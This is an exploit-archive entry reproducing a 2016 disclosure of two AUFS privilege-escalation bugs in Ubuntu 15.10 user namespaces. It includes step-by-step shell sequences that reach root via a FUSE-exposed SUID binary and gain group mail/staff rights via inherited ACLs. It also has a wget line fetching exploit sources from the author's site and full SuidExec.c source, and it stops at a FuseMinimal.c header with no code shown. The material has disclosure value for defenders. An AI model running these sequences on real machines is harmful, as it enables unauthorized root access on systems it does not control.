发布 2016-02-19 漏洞条目

AUFS (Ubuntu 15.10) – ‘allow_userns’ Fuse/Xattr User Namespaces Privilege Escalation

Exploit Source

Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/

## Introduction

Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.

For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.

## AUFS Over Fuse: Loss of Nosuid

Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:

- Mount fuse filesystem exposing crafted SUID binary

- Create USERNS

- Mount aufs on top of fuse

- Execute the SUID binary via aufs from outside the namespace

The issue can then be demonstrated using:

SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)

FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c)

UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)

test$ mkdir fuse mnt work

test$ mv SuidExec RealFile

test$ ./FuseMinimal fuse

test$ ./UserNamespaceExec -- /bin/bash

root$ mount -t aufs -o br=work:fuse none mnt

root$ cd mnt

# Now cwd of the former process is within the aufs mount. Use

# another shell to complete.

test$ /proc/2390/cwd/file /bin/bash

root$ id

uid=0(root) gid=100(users) groups=100(users)

# Go back to old shell for cleanup.

root$ cd ..; umount mnt; exit

test$ fusermount -u fuse

Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.

In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.

## AUFS Xattr Setgid Privilege Escalation

Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:

/usr/local/lib/python3.4 (root.staff)

/var/lib/libuuid (libuuid.libuuid)

/var/local (root.staff)

/var/mail (root.mail)

Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit.

test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c

test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c

test$ gcc -o UserNamespaceExec UserNamespaceExec.c

test$ gcc -o SuidExec SuidExec.c

test$ mkdir mnt test

test$ setfacl -m "d:u:$(id -u):rwx" test

test$ ./UserNamespaceExec -- /bin/bash

root$ mount -t aufs -o br=test:/var none mnt

root$ chmod 07777 mnt/mail

root$ umount mnt; exit

test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg

test$ test/mail/escalate ./SuidExec /usr/bin/id

uid=1000(test) gid=8(mail) groups=8(mail),100(users)

On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.

According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.

--- SuidExec.c ---

/** This software is provided by the copyright owner "as is" and any

* expressed or implied warranties, including, but not limited to,

* the implied warranties of merchantability and fitness for a particular

* purpose are disclaimed. In no event shall the copyright owner be

* liable for any direct, indirect, incidential, special, exemplary or

* consequential damages, including, but not limited to, procurement

* of substitute goods or services, loss of use, data or profits or

* business interruption, however caused and on any theory of liability,

* whether in contract, strict liability, or tort, including negligence

* or otherwise, arising in any way out of the use of this software,

* even if advised of the possibility of such damage.

* See http://www.halfdog.net/Misc/Utils/ for more information.

* This tool changes to uid/gid 0 and executes the program supplied

* via arguments.

#define _GNU_SOURCE

#include <stdio.h>

#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {

if(argc<2) {

fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);

return(1);

}

int rUid, eUid, sUid, rGid, eGid, sGid;

getresuid(&rUid, &eUid, &sUid);

getresgid(&rGid, &eGid, &sGid);

if(setresuid(sUid, sUid, rUid)) {

fprintf(stderr, "Failed to set uids\n");

return(1);

}

if(setresgid(sGid, sGid, rGid)) {

fprintf(stderr, "Failed to set gids\n");

return(1);

}

execve(argv[1], argv+1, environ);

return(1);

}

--- EOF ---

--- FuseMinimal.c ---